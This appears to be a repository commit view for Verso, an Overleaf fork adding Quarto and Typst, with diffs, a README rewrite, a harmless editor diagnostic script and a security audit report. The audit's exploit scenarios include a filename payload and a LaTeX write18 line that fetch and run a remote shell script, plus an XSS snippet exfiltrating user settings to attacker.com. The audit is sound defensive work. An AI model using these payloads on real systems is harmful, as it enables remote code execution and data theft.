11 Commits

Author SHA1 Message Date
claude 952c897760 docs: add alpha-3 security audit report
Four findings: shell injection via filename (RCE on CLSI), auth bypass
on publish-presentation routes, shell-escape without sandbox in prod,
and stored XSS via published presentations (CSP removed on main origin).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-19 10:10:19 +00:00
alois 713aa70c52 Actualiser issues3.png 2026-06-09 07:25:39 +00:00
alois 3e0188b66d Téléverser les fichiers vers "/" 2026-06-09 07:25:13 +00:00
claude 8c9a610f0d tools: add Typst bold/italic parse-tree diagnostic script
Paste typst-bold-italic-diag.js into the browser console while a Typst
document containing *bold* and _italic_ is open to determine whether
Strong/Emphasis nodes are being produced by the grammar (grammar issue)
or whether the nodes exist but bold/italic is not visually rendered
(font issue — Source Code Pro only loads Regular 400).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-08 22:02:14 +00:00
alois 6496e9133d Actualiser issues2.png 2026-06-08 21:22:11 +00:00
alois 5fcf4bb262 Téléverser les fichiers vers "/" 2026-06-08 21:21:48 +00:00
alois 8e6e9eded0 Actualiser issues.png 2026-06-08 20:45:03 +00:00
alois 33c830b594 Téléverser les fichiers vers "issue.png" 2026-06-08 20:44:27 +00:00
claude f36dbd12e9 chore: rewrite diagnostic — CSS class counts + cm-content view accessor 2026-06-08 19:35:02 +00:00
claude c65bb80512 chore: fix CodeMirror view accessor in diagnostic script 2026-06-08 19:29:49 +00:00
claude 031f65224c chore: add browser diagnostic script for Typst highlighting 2026-06-08 19:29:49 +00:00
197 changed files with 5208 additions and 16200 deletions
-2
View File
@@ -329,8 +329,6 @@ jobs:
# (CE default): admin creates accounts / sends invites.
- name: OVERLEAF_ENABLE_PROJECT_PYTHON_VENV
value: "true"
- name: OVERLEAF_LATEX_SHELL_ESCAPE
value: "true"
# (SMTP email vars are loaded below via envFrom.)
# SMTP for password-reset / invite emails. All
# OVERLEAF_EMAIL_* vars come from the optional 'verso-smtp'
-2
View File
@@ -300,8 +300,6 @@ jobs:
# link-sharing users).
- name: OVERLEAF_ENABLE_PROJECT_PYTHON_VENV
value: "true"
- name: OVERLEAF_LATEX_SHELL_ESCAPE
value: "true"
---
apiVersion: v1
kind: Service
+139 -202
View File
@@ -2,182 +2,73 @@
<img src="services/web/public/img/ol-brand/verso-logo.svg" alt="Verso" width="440">
</p>
**A collaborative, real-time editor for LaTeX, Quarto and Typst — self-hosted.**
**A collaborative, real-time editor for Quarto, LaTeX and Typst — documents and presentations.**
---
Verso is a fork of [Overleaf](https://github.com/overleaf/overleaf) that adds
first-class [Quarto](https://quarto.org) and [Typst](https://typst.app) support
alongside Overleaf's LaTeX toolchain. It keeps Overleaf's real-time
collaboration infrastructure and runs **three compilers side by side**, chosen
automatically from the root file's extension:
## What is Verso?
| Root file | Compiler | Typical output |
|-----------|----------|----------------|
| `.qmd` | Quarto | PDF (via Typst or LaTeX), or an HTML/RevealJS deck |
| `.tex` | `latexmk` / TeX Live | PDF |
| `.typ` | Typst | PDF |
Verso is a fork of [Overleaf](https://github.com/overleaf/overleaf) that extends its
collaborative editing infrastructure to support [Quarto](https://quarto.org) and
[Typst](https://typst.app) projects alongside LaTeX. Think of it as Overleaf, but
not limited to LaTeX.
### Verso vs Overleaf
[Overleaf](https://www.overleaf.com) is the gold standard for collaborative LaTeX
editing. Verso keeps everything that makes Overleaf great — real-time co-editing,
operational-transformation history, auth, project management, file storage — and
adds:
- **Quarto and Typst compilers** running alongside TeX Live, dispatched
automatically from the root file's extension (`.qmd` → Quarto, `.typ` → Typst,
`.tex``latexmk`).
- **Language-aware editor** for Quarto and Typst (syntax highlighting, completions,
document outline) — not just LaTeX.
- **Publish & share compiled output** (`/p/:token` with tiered access links) — a
feature absent from Overleaf Community Edition.
- **Lumière theme** — a redesigned project dashboard and editor chrome with a
card-based grid, thumbnails, and a teal gradient identity.
- **Full i18n** — French, German, Italian, and Spanish UI translations on top of
Overleaf's English base.
- Completely **free and self-hosted**; no Overleaf subscription required.
### Verso vs Quarto
[Quarto](https://quarto.org) is a command-line tool: you install it locally, write
`.qmd` files in any text editor, and run `quarto render` in a terminal. It is
excellent for solo authors with full control over their environment.
Verso wraps Quarto in a collaborative web editor:
- **No local install** — Quarto, Typst, TeX Live and Python run on the server.
- **Real-time collaboration** — multiple people edit the same `.qmd` simultaneously
with live cursors and conflict-free merging.
- **Not just Quarto** — LaTeX and Typst projects live in the same workspace, under
the same auth and history system.
- **Publish in one click** — RevealJS decks and PDFs are served at a stable link
without leaving the browser.
Verso is not a replacement for Quarto's CLI — it is a platform that makes Quarto
accessible as a shared, always-on service.
### Verso vs Typst.app
[Typst.app](https://typst.app) is a cloud-hosted web editor for Typst. It is
polished and fast, but it is a proprietary SaaS product and only supports Typst.
Verso differs in that:
- It is **self-hosted** and open-source (AGPL v3) — you control your data.
- It supports **three languages** (Typst, LaTeX, Quarto) in one instance.
- Real-time collaboration is powered by **operational transformation** (the same
engine as Overleaf), not CRDTs, which means it handles concurrent edits
gracefully for long documents.
- It ships with a full **project history** and version-restore workflow.
If you only need Typst and want a lighter, Typst-focused alternative, have a look
at **[Collabst](https://github.com/herluf-ba/collabst)** — an open-source,
self-hosted collaborative Typst editor that is independent of the Overleaf
codebase and shows a lot of promise.
All three coexist on one server; no per-project configuration is required to
pick the engine.
---
## Features
- **Real-time collaboration** — multiple editors, live cursors, full project history and version restore.
- **Three compilers, auto-dispatched** by root file extension:
| Root file | Compiler | Typical output |
|-----------|----------|----------------|
| `.qmd` | Quarto | PDF (via Typst or LaTeX), HTML, or RevealJS |
| `.tex` | `latexmk` / TeX Live | PDF |
| `.typ` | Typst | PDF |
- **Language-aware editor for all three** — syntax highlighting, completions, and a document outline panel for LaTeX, Quarto and Typst.
- **Format badge** on the project dashboard; compiler dropdown greys out inapplicable engines.
- **Publish & share** — compile and snapshot to `/p/:token` with three independent access tiers (project members / any logged-in user / public). HTML/RevealJS decks are served live; PDFs are embedded inline. A **Present** toolbar button links directly to the published deck.
- **RevealJS thumbnails** — the first slide of a presentation is rendered as a preview card in the project list.
- **Quarto Python cells** — optional per-project virtual environment built from `requirements.txt`, so Python code chunks execute during render.
- **Visual formatting toolbar** — bold, italic, headings and inline code shortcuts for Quarto (`.qmd`) and Typst (`.typ`) files, in addition to Overleaf's existing LaTeX toolbar.
- **Lumière theme** — card-based project dashboard with PDF/slide thumbnails, a teal gradient identity, dark editor chrome, and an XS compact list view.
- **i18n** — French, German, Italian and Spanish UI translations.
- **Auto-compile** — preview refreshes automatically after you stop typing.
- **Real-time collaboration** — multiple people editing the same file at once,
powered by Overleaf's operational-transformation engine, with live cursors
and full project history.
- **Three compilers, auto-dispatched** — Quarto, LaTeX and Typst projects live
side by side; the runner is selected from the root file's extension.
- **Language-aware editor for all three**:
- *LaTeX* — syntax highlighting, command/environment/reference autocomplete,
linting (inherited from Overleaf).
- *Quarto (`.qmd`)* — Markdown highlighting plus Quarto-aware completions:
code chunks (```` ```{python} ````, `{r}`, `{julia}`, `{ojs}`…), callouts
and fenced divs (`::: {.callout-note}`, columns, tabsets) and
cross-references (`@fig-`, `@tbl-`, `@sec-`, `@eq-`).
- *Typst (`.typ`)* — syntax highlighting and completions for the common
functions and markup (`#import`, `#let`, `#set`, `#show`, `#figure`,
`#table`, `#cite`, …).
- **Document outline** — section headings are extracted into the sidebar
outline panel for LaTeX, Quarto (`#`, `##`, …) and Typst (`=`, `==`, …).
- **Format at a glance** — the project dashboard shows a per-project format
badge (Quarto / Typst / LaTeX), and the compiler dropdown greys out engines
that don't apply to the current root file.
- **Publish & share compiled output** — publish the compiled result as a
standalone page at `/p/:token`, with three independent access tiers (project
members / any logged-in user / public). Works for both HTML/RevealJS decks
(served live) and PDFs (embedded inline). HTML decks also get a one-click
**Present** button in the toolbar.
- **Quarto Python cells** — optional per-project virtual environment built from
the project's `requirements.txt`, so Python code chunks run during render
(gated to the project owner and invited collaborators).
- **Auto-compile** — the preview refreshes automatically shortly after you stop
typing.
---
## Output formats
## Releases
In the YAML frontmatter of a `.qmd` file:
### Alpha 1
```yaml
format: typst # → PDF preview, rendered via Typst (no LaTeX required)
format: pdf # → PDF preview, rendered via LaTeX
format: revealjs # → interactive HTML slideshow preview
format: html # → a static HTML page
```
The initial public release. Established Verso as an Overleaf fork with first-class
multi-language support:
Typst ships inside Quarto, so `format: typst` needs no separate installation.
- Quarto (`.qmd`) and Typst (`.typ`) compilers running alongside TeX Live,
dispatched automatically by root file extension — no per-project configuration.
- Language-aware editor for Quarto: Markdown highlighting, code-chunk completions
(`{python}`, `{r}`, `{julia}`, `{ojs}`…), callout and fenced-div completions,
cross-reference completions (`@fig-`, `@tbl-`, `@sec-`…).
- Language-aware editor for Typst: syntax highlighting and completions for
functions, imports, math and markup.
- Document outline panel for all three languages (LaTeX `\section`, Quarto `#`,
Typst `=`).
- Format badge on the project dashboard; compiler selector greys out inapplicable
engines for the current root file.
- Publish & share compiled output — HTML/RevealJS decks and PDFs hosted at
`/p/:token` with tiered access links (project / logged-in / public), each
independently resettable.
- Quarto Python code-cell execution via an optional per-project `requirements.txt`
virtual environment.
- Verso branding: name, logo and Kubernetes production deploy workflow.
### Alpha 2
Refinements to the Typst editor and the format badge system:
- **Quarto format sub-types** — the project badge now distinguishes *Quarto PDF*
from *Quarto Slides*, reading the frontmatter `format:` to pick the right label.
- **Python packages for collaborators** — Quarto Python package installation
extended to all users who have write access to the project, not only the owner.
- **Typst syntax highlighting overhaul** — complete grammar rewrite covering:
function calls and named argument keys, multi-line display math, `#{…}` code
blocks, content blocks, `show`-rule bodies, `let`-value bindings, and keyword
vs identifier disambiguation.
- **Typst visual formatting** — bold and italic toolbar buttons and keyboard
shortcuts (`Ctrl+B`, `Ctrl+I`), plus underline, small-caps and hyperlink
buttons, matching the Quarto and LaTeX toolbar experience.
### Alpha 3
- **Lumière theme** — redesigned project dashboard with a card grid, PDF/slide
thumbnails, parallax hover effects, a teal gradient identity and a dark editor
chrome. Includes an XS compact list view and a tile zoom slider.
- **Full i18n** — French, German, Italian and Spanish translations covering the
complete UI (login, dashboard, editor, settings, emails).
- **Visual editors for Quarto and Typst** — bold, italic, headings and inline code
shortcuts in the toolbar for `.qmd` and `.typ` files.
- **Top/bottom split view** — new editor layout that stacks the source editor
above the PDF preview vertically, in addition to the existing side-by-side mode.
- **Bidirectional format export** — LaTeX projects can be converted to Typst and
Typst projects to LaTeX via pandoc. Available from the File menu in the editor.
- **Mobile layout** — project dashboard, search bar, footer and editor all
adapted for phone screen sizes.
---
## Known issues
- **Large file upload timeouts** — uploads of large files on slow connections
can time out at the proxy layer. A streaming response fix is pending.
---
## Security model — trusted environments only
> [!CAUTION]
> Verso is designed for **closed groups of trusted users** (a lab, a class, a
> small team). All three compilers can execute arbitrary code on the server:
>
> - LaTeX with shell-escape enabled can run system commands.
> - Quarto Python cells execute Python code directly.
> - Typst's scripting layer is sandboxed by design, but runs server-side.
>
> There is **no per-project sandbox or resource isolation** beyond what the
> operating system provides. Exposing Verso to the public internet with open
> registration is not recommended. If you need to host a collaborative
> LaTeX editor for untrusted users or at scale, look at
> [Overleaf's non-Community offerings](https://www.overleaf.com/for/enterprises),
> which include proper sandboxing and enterprise access controls.
---
> **Note on display math**: keep `$$ … $$` blocks on a single line. Multi-line
> display-math blocks can trigger YAML parse errors in some Quarto versions.
## Quick start
@@ -191,23 +82,24 @@ docker run -d \
registry.alocoq.fr/verso:latest
```
Open `http://localhost`, then visit `/launchpad` on first run to create the admin
account.
Open `http://localhost` in your browser, then visit `/launchpad` on first run to
create the admin account.
### Build from source
```bash
# Build the base image (system deps + Quarto + TeX Live)
cd server-ce
make build-base # base OS image: system deps, Quarto, Typst, TeX Live
make build-community # application image: Node services + compiled frontend
make build-base
# Build the application image
make build-community
```
| File | Purpose |
|------|---------|
| `server-ce/Dockerfile-base` | Base image — system deps, Quarto (with Typst) and TeX Live |
| `server-ce/Dockerfile` | App image — Node services and the compiled React frontend |
---
| `server-ce/Dockerfile-base` | Base OS image — system deps, Quarto (with Typst) and a TeX Live (`latexmk`) toolchain |
| `server-ce/Dockerfile` | Application image — Node services and the compiled frontend |
## Architecture
@@ -216,10 +108,10 @@ single container managed by `runit`, with `nginx` as the front router.
```
browser ──→ nginx:80
├── / ──────────────────→ web:4000 (main app, React UI)
├── /socket.io ──────────→ real-time:3026 (WebSocket, OT engine)
├── /p/:token ───────────→ web (published output)
└── /project/*/output/* → clsi-nginx:8080 (compiled output files)
├── / ──────────────────→ web:4000 (main app, React UI)
├── /socket.io ──────────→ real-time:3026 (WebSocket, OT engine)
├── /p/:token ───────────→ web (published output)
└── /project/*/output/* → clsi-nginx:8080 (compiled output files)
web → document-updater → Redis pub/sub → real-time → browser
web → CLSI (quarto render / latexmk / typst) → output files → nginx → browser
@@ -230,12 +122,64 @@ web → CLSI (quarto render / latexmk / typst) → output files → nginx → br
| `web` | HTTP API, React frontend, auth, project & sharing management |
| `real-time` | WebSocket layer, live cursors and edit sync |
| `document-updater` | Operational transformation, Redis pub/sub |
| `clsi` | Compiler — runs `quarto render`, `latexmk` or `typst` and serves output |
| `clsi` | Compiler — runs `quarto render` (`.qmd`), `latexmk` (`.tex`) or `typst` (`.typ`) and serves output |
| `docstore` | Document text storage (MongoDB) |
| `filestore` | Binary file storage (S3 or local) |
| `project-history` | Change history and version tracking |
## Writing documents
### Quarto (`main.qmd`)
```markdown
---
title: My Presentation
author: Your Name
date: today
format: revealjs
---
## Slide one
Write **Markdown** here.
## Mathematics
$$\int_0^\infty e^{-x^2}\,dx = \frac{\sqrt{\pi}}{2}$$
```
Switch `format: revealjs` to `format: typst` (or `pdf`) for a PDF preview.
### LaTeX (`main.tex`)
LaTeX works exactly as in Overleaf: a project whose root file is a `.tex` file
compiles with `latexmk`/TeX Live, no setting required. The **Example LaTeX
project** in the *New project* menu is a ready-made starting point.
> The bundled TeX Live is a minimal install. Documents that need extra packages
> may not build out of the box — see `server-ce/Dockerfile-base` for how to
> switch to a fuller TeX Live scheme.
### Typst (`main.typ`)
A project whose root file is a `.typ` file compiles directly to PDF with
[Typst](https://typst.app) — fast, modern markup with a real scripting
language. Verso drives the Typst bundled with Quarto, so no extra install is
needed. Use the **Blank Typst project** entry in the *New project* menu to get
started.
## Publishing compiled output
From **Share → Publish**, Verso compiles the project and snapshots the result to
a standalone page at `/p/:token`:
- **HTML / RevealJS** decks are served as a live page (the **Present** toolbar
button is a one-click shortcut to this).
- **PDF** output is embedded inline; the raw file stays reachable at
`/p/:token/output.pdf`.
Three stable links are issued, one per access tier — project members, any
logged-in user, or anyone — and each can be copied or independently reset.
## Environment variables
@@ -251,46 +195,39 @@ The most commonly needed:
| `OVERLEAF_SITE_URL` | — | Public URL (used in emails and published links) |
| `OVERLEAF_SITE_LANGUAGE` | `en` | Default UI language (e.g. `fr`) |
| `OVERLEAF_ENABLE_PROJECT_PYTHON_VENV` | `false` | Allow Quarto Python cells to use a project `requirements.txt` |
| `OVERLEAF_ADMIN_EMAIL` | — | Email shown on the launchpad for the first admin account |
| `OVERLEAF_ADMIN_EMAIL` | — | Email for the first admin account |
See the [Overleaf Server documentation](https://github.com/overleaf/overleaf/wiki)
for the full list.
---
## Relation to Overleaf
Verso is a fork of [Overleaf Community Edition](https://github.com/overleaf/overleaf).
Everything that Overleaf CE provides — real-time collaboration, operational-transformation
history, auth, project management, binary file storage — is inherited unchanged. The
Verso-specific additions are listed in the Features section and tracked across releases above.
The main additions on top of upstream are:
Verso is not affiliated with Overleaf Ltd.
- Quarto and Typst compilers running alongside LaTeX, dispatched by the root
file's extension.
- Editor language support (highlighting, autocomplete, outline) for Quarto and
Typst.
- A per-project format badge on the dashboard and a root-file-aware compiler
selector.
- Publishing/sharing of compiled output (HTML decks and PDFs) via `/p/:token`
with tiered access links, and a toolbar **Present** shortcut.
- Optional per-project Python virtual environments for Quarto code execution.
- Verso branding (name, logo, palette, loading animation).
---
All other infrastructure — real-time collaboration, history, auth, file
storage, project management — is unchanged from Overleaf.
## Supporting the ecosystem
## Contributing
Verso is not accepting contributions or donations at this time. If you find it
useful and want to support the broader ecosystem it builds on:
- **Support Overleaf** — Verso is built on Overleaf's infrastructure. The best
way to support their work is to use or subscribe to
[Overleaf](https://www.overleaf.com) and encourage your institution to do the
same.
- **Support Typst** — [Typst GmbH](https://typst.app) is the company behind the
Typst compiler. Using Typst.app or sponsoring the
[Typst project on GitHub](https://github.com/typst/typst) helps sustain the
language itself.
- **Support RevealJS** — Verso uses [Reveal.js](https://revealjs.com) for
HTML presentations. Consider sponsoring the
[RevealJS project on GitHub](https://github.com/hakimel/reveal.js).
---
Contributions are welcome — open an issue or pull request on the
[Verso repository](https://git.alocoq.fr/alois/verso). The upstream Overleaf
contribution guidelines are in [CONTRIBUTING.md](CONTRIBUTING.md).
## License
GNU Affero General Public License v3 — see [LICENSE](LICENSE).
Copyright © Overleaf, 20142026 (original code).
Copyright © Overleaf, 20142026 (original code).
Verso modifications © Aloïs Coquillard, 2026.
-9
View File
@@ -39,12 +39,3 @@ Ideas and features deferred from the current alpha.
- **Quarto RevealJS**: insert slide divider (`---`), insert speaker
notes (`::: notes`), insert columns layout, insert video embed
(using Quarto's `{{< video >}}` shortcode).
### AI writing assistant
- **In-editor AI assistant** — Inline writing help similar to what Overleaf
and CoCalc offer: suggest completions, rephrase selections, explain LaTeX
errors, and generate boilerplate (figures, tables, equations). Should work
across all three formats (`.tex`, `.typ`, `.qmd`). Backend would proxy
requests to a configurable model API (Claude, OpenAI-compatible) so
self-hosters can bring their own key.
+43
View File
@@ -0,0 +1,43 @@
/**
* Typst syntax highlighting diagnostics.
* Paste into browser dev tools console with a Typst file open.
*/
// ── Part 1: CSS token counts (no view needed) ────────────────────────────
// If all are 0, the language mode is not being applied at all.
console.log('=== Token CSS class counts ===')
;['heading','comment','keyword','string','number',
'variableName','function','emphasis','strong'].forEach(t => {
const n = document.querySelectorAll('.tok-' + t).length
console.log(` .tok-${t}: ${n}`)
})
// ── Part 2: Try to get the parse tree ────────────────────────────────────
// CodeMirror 6 stores DocView on .cm-content; DocView.view = EditorView
const content = document.querySelector('.cm-content')
const view = content?.cmView?.view
if (!view?.state) {
console.warn('Could not find EditorView — parse tree unavailable')
console.log('Keys on .cm-content:', Object.keys(content ?? {}).join(', '))
} else {
console.log('\n=== Parse tree (top 600 chars) ===')
console.log(view.state.tree.toString().slice(0, 600))
// First heading line
const doc = view.state.doc
for (let ln = 1; ln <= Math.min(doc.lines, 25); ln++) {
const line = doc.line(ln)
if (line.text.trimStart().startsWith('=')) {
console.log(`\n=== Nodes on heading line ${ln}: "${line.text}" ===`)
view.state.tree.iterate({
from: line.from, to: line.to,
enter(node) {
const t = doc.sliceString(node.from, node.to)
console.log(` ${node.name}: ${JSON.stringify(t.slice(0, 50))}`)
}
})
break
}
}
}
+259
View File
@@ -0,0 +1,259 @@
# Verso Alpha-3 Security Audit
**Date:** 2026-06-19
**Branch audited:** `main` (full codebase)
**Method:** multi-agent automated review + manual false-positive filtering
---
## Summary
| # | Title | Severity | Confidence |
|---|-------|----------|------------|
| 1 | Shell injection via filename → RCE on CLSI | **HIGH** | 9/10 |
| 2 | Read-only collaborator can publish / unpublish / rotate tokens | **HIGH** | 9/10 |
| 3 | LaTeX `shell-escape` enabled without sandbox in production | **HIGH** | 9/10 |
| 4 | Published presentations served without CSP (stored XSS on origin) | **MEDIUM** | 9/10 |
---
## Vuln 1 — Command Injection via Filename → RCE on CLSI
**Files:**
- `services/clsi/app/js/QuartoRunner.js` (lines 102147)
- `services/clsi/app/js/TypstRunner.js` (lines 139141, 399400)
**Category:** `command_injection` / `rce`
**Severity:** HIGH | **Confidence:** 9/10
### Description
`renderTarget` / `mainFile` (the project's root resource path) is interpolated directly into a shell command string passed to `/bin/sh -c` without any quoting or escaping:
```js
// QuartoRunner.js ~line 102
const baseName = renderTarget.replace(/\.[^/.]+$/, '')
// …passed to /bin/sh -c:
`quarto render $COMPILE_DIR/${renderTarget} 2>&1 && mv ${baseName}.pdf output.pdf`
`; rm -rf ${baseName}.qmd ${baseName}_files`
```
```js
// TypstRunner.js ~line 140 — double quotes do NOT prevent $() or backtick expansion
['/bin/sh', '-c', `typst watch "${absInput}" "${absOutput}" 2>&1`]
// TypstRunner.js ~line 399 — completely unquoted
['/bin/sh', '-c', `typst compile $COMPILE_DIR/${mainFile} output.pdf 2>&1`]
```
`SafePath.isCleanFilename()` (`SafePath.mjs` lines 2437) only blocks `/`, `\`, `*`, and control characters. Shell metacharacters — `$`, `` ` ``, `(`, `)`, `;`, `&`, `|` — all pass through unchecked. The CLSI's own `_checkPath()` only rejects `..` path traversal.
### Exploit Scenario
Any project collaborator renames their root file to:
```
foo$(curl https://attacker.com/shell.sh|sh).qmd
```
Triggering a compile executes the injected command unsandboxed inside the CLSI container as the host process user.
### Fix
Use an args array instead of `/bin/sh -c` with a concatenated string:
```js
// Instead of:
spawn('/bin/sh', ['-c', `quarto render ${renderTarget} ...`])
// Use:
spawn('quarto', ['render', absRenderTarget, '--to', 'pdf'])
```
For cases where a shell string is unavoidable, single-quote the variable: `'${renderTarget}'` (single quotes prevent all shell expansion). The safest fix is removing all three `/bin/sh -c templateString` invocations in favour of direct `spawn` with an explicit args array.
---
## Vuln 2 — Authorization Bypass: Read-Only Collaborators Can Publish / Unpublish / Rotate Tokens
**File:** `services/web/app/src/router.mjs` (lines 697710)
**Category:** `authorization_bypass` / `privilege_escalation`
**Severity:** HIGH | **Confidence:** 9/10
### Description
Three destructive presentation endpoints are gated on `ensureUserCanReadProject` instead of `ensureUserCanAdminProject`:
```js
webRouter.post('/project/:Project_id/publish-presentation',
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
PublishedPresentationController.publish)
webRouter.post('/project/:Project_id/publish-presentation/regenerate',
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
PublishedPresentationController.regenerate)
webRouter.delete('/project/:Project_id/publish-presentation',
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
PublishedPresentationController.unpublish)
```
`canUserReadProject` returns `true` for the `READ_ONLY` privilege level (`AuthorizationManager.mjs` lines 260276), which is granted to any read-only collaborator and to anonymous users holding a read-only token link. `canUserAdminProject` requires `OWNER` only.
### Exploit Scenario
User A shares a project read-only with User B. User B can:
1. **`DELETE /publish-presentation`** — permanently take down the owner's published presentation
2. **`POST /publish-presentation/regenerate`** — rotate the public/login/member share token, breaking all existing links
3. **`POST /publish-presentation`** — force a recompile and overwrite the published snapshot
### Fix
```js
// Change all three routes — replace:
AuthorizationMiddleware.ensureUserCanReadProject
// with:
AuthorizationMiddleware.ensureUserCanAdminProject
```
One-line fix per route. This is the highest-priority fix because it requires no architectural change.
---
## Vuln 3 — LaTeX `shell-escape` Enabled Without Sandbox in Production (RCE)
**Files:**
- `.gitea/workflows/deploy-verso-prod.yml` (lines 332333)
- `services/clsi/app/js/LatexRunner.js` (lines 200202)
- `services/clsi/app/js/CommandRunner.js` (lines 1216)
**Category:** `rce` / `insecure_configuration`
**Severity:** HIGH | **Confidence:** 9/10
### Description
The production Kubernetes deployment sets `OVERLEAF_LATEX_SHELL_ESCAPE: "true"` with neither `SANDBOXED_COMPILES` nor `DOCKER_RUNNER` configured. This passes `-shell-escape` to every latexmk invocation globally, for all users, with no per-user or per-project gating:
```js
// LatexRunner.js lines 200202
if (Settings.clsi?.latexShellEscape) {
command.push('-shell-escape') // unconditional — applies to all users/projects
}
```
Without `DOCKER_RUNNER=true`, `CommandRunner.js` selects `LocalCommandRunner` — compiles run as the host process with full container filesystem access. The reference `docker-compose.yml` *does* configure sandboxed compiles (`SANDBOXED_COMPILES: true`, `DOCKER_RUNNER: true`); the production K8s deployment simply omits them.
The compile endpoint requires only `ensureUserCanReadProject`, so any holder of a read-only share link can trigger a compile.
### Exploit Scenario
Any user with read-only access to any project uploads or edits a `.tex` file containing:
```latex
\immediate\write18{curl https://attacker.com/shell.sh | bash}
```
Triggering a compile executes the command unsandboxed, with access to all mounted volumes (source files, Redis socket, compile output).
### Fix (two steps)
**Step 1 — Short term:** Remove `OVERLEAF_LATEX_SHELL_ESCAPE: "true"` from `.gitea/workflows/deploy-verso-prod.yml`. Disable shell-escape entirely unless there is a specific, per-project need.
**Step 2 — Medium term:** Add sandboxed compile configuration to the production deployment, mirroring the reference `docker-compose.yml`:
```yaml
- name: SANDBOXED_COMPILES
value: "true"
- name: DOCKER_RUNNER
value: "true"
```
This contains the blast radius of any future compile-path vulnerability regardless of shell-escape status.
---
## Vuln 4 — Stored XSS via Published Presentations (CSP Removed on Main Origin)
**File:** `services/web/app/src/Features/PublishedPresentation/PublishedPresentationController.mjs` (line 116)
**Category:** `xss` / `stored`
**Severity:** MEDIUM | **Confidence:** 9/10
### Description
The published-presentation handler explicitly removes the Content-Security-Policy header before serving the raw HTML output:
```js
res.removeHeader('Content-Security-Policy') // line 116
res.sendFile(target, ...) // serves output.html / index.html directly
```
The file served is the raw Quarto/reveal.js compile output — not a sanitized template. Since users control the `.qmd` source entirely, arbitrary `<script>` blocks can be embedded. The `/p/:token` routes are registered on the same `webRouter` as the main app, so scripts execute with **full same-origin privileges** against the Verso application origin.
### Impact
- Any visitor to a `publicToken` link has the script execute in their browser (no login required to be targeted)
- `fetch()` calls from the same origin automatically include the session cookie, bypassing `httpOnly`
- A script can call the `/dev/csrf` endpoint to obtain a valid CSRF token, then call any mutating POST/DELETE API endpoint as the victim (read/write projects, change email, delete account, exfiltrate documents)
### Exploit Scenario
1. Attacker creates a Quarto project with a slide containing:
```html
<script>
fetch('/user/settings', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/?d=' + btoa(JSON.stringify(d))))
</script>
```
2. Compiles and publishes → obtains the `publicToken` URL
3. Shares the link with a victim
4. Victim visits the link → script executes on the Verso origin → authenticated API calls made on victim's behalf
### Fix
The correct fix is to **serve published presentations from an isolated subdomain** (e.g., `decks.verso.example.com`) with no session cookie access, so embedded scripts are origin-isolated from the main app.
As a stopgap, apply a restricted CSP instead of removing it entirely:
```js
// Instead of:
res.removeHeader('Content-Security-Policy')
// Apply a presentation-specific policy:
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'none'")
```
`connect-src 'none'` blocks `fetch()`/XHR exfiltration even if inline scripts run.
---
## Items Reviewed and Not Flagged
| Area | Finding |
|------|---------|
| MongoDB queries | No raw `req.body` interpolation; Mongoose used throughout |
| CSRF protection | `csurf` middleware applied globally; no Verso-added bypass found |
| `dangerouslySetInnerHTML` | Only in operator-controlled footer (env-var source, not user input) |
| `DOMPurify` usage | `labs-description.tsx` uses it correctly with a strict allowlist |
| Hardcoded credentials | `dev.env` has weak defaults; production uses auto-generated secrets from `100_generate_secrets.sh` |
| Open redirects | `getSafeRedirectPath` strips to pathname only; no exploitable chain found |
| SSRF (URL agent) | Proxied through `linkedUrlProxy`; host allowlisting in place |
| Path traversal in `serve()` | `path.resolve` + `startsWith` guard is correct |
| Session secret | Auto-generated at init, stored in `/etc/container_environment/CRYPTO_RANDOM` |
---
## Recommended Fix Priority for Alpha-3
| Priority | Finding | Effort |
|----------|---------|--------|
| 1 | **Vuln 2** — wrong auth middleware on 3 routes | ~5 min, 3-line fix |
| 2 | **Vuln 3** — remove `shell-escape` from prod deploy | ~5 min, remove 2 lines from YAML |
| 3 | **Vuln 1** — fix quoting in QuartoRunner + TypstRunner | ~1 hour, refactor spawn calls |
| 4 | **Vuln 4** — XSS via presentations | Hoursdays; subdomain isolation is the real fix |
Vulns 13 are straightforward enough to fix before shipping alpha-3. Vuln 4 can be mitigated with the `connect-src 'none'` CSP header as a stopgap and tracked as a post-alpha-3 architectural item.
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 95 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 102 KiB

-7
View File
@@ -54,13 +54,6 @@ RUN --mount=type=cache,target=/root/.cache \
# Add the actual source files
# ---------------------------
COPY --parents libraries/ services/ tools/migrations/ /overleaf/
# Syntax-check all server-side ESM modules before the expensive webpack
# compile. node --check parses without executing, so it's fast and safe.
# Catches things like escaped backticks from sed substitutions that webpack
# never sees (it only bundles frontend code).
RUN find services/web/app/src services/web/modules -name '*.mjs' | xargs node --check
RUN --mount=type=cache,target=/root/.cache \
--mount=type=cache,target=/root/.yarn/berry/cache,id=server-ce-yarn-cache \
--mount=type=tmpfs,target=/usr/local/share/.cache/yarn \
-10
View File
@@ -25,7 +25,6 @@ RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
unattended-upgrades \
build-essential wget net-tools unzip time poppler-utils optipng strace nginx git python3 python-is-python3 zlib1g-dev libpcre3-dev gettext-base libwww-perl ca-certificates curl gnupg \
qpdf \
pandoc \
# upgrade base-image, batch all the upgrades together, rather than installing them on-by-one (which is slow!)
&& unattended-upgrade --verbose --no-minimal-upgrade-steps \
# install Node.js https://github.com/nodesource/distributions#nodejs
@@ -105,15 +104,6 @@ RUN apt-get update \
opencv-python-headless tqdm \
&& rm -rf /var/lib/apt/lists/* /root/.cache
# Install Inkscape (for the LaTeX svg package via shell-escape)
# Must come AFTER the pip installs above: inkscape pulls in python3-numpy via
# apt, which would block pip from upgrading numpy. With pip's numpy already in
# /usr/local/lib, apt installs its own copy into /usr/lib alongside it — no
# conflict — and Python resolves /usr/local/lib first at import time.
RUN apt-get update \
&& apt-get install -y inkscape \
&& rm -rf /var/lib/apt/lists/*
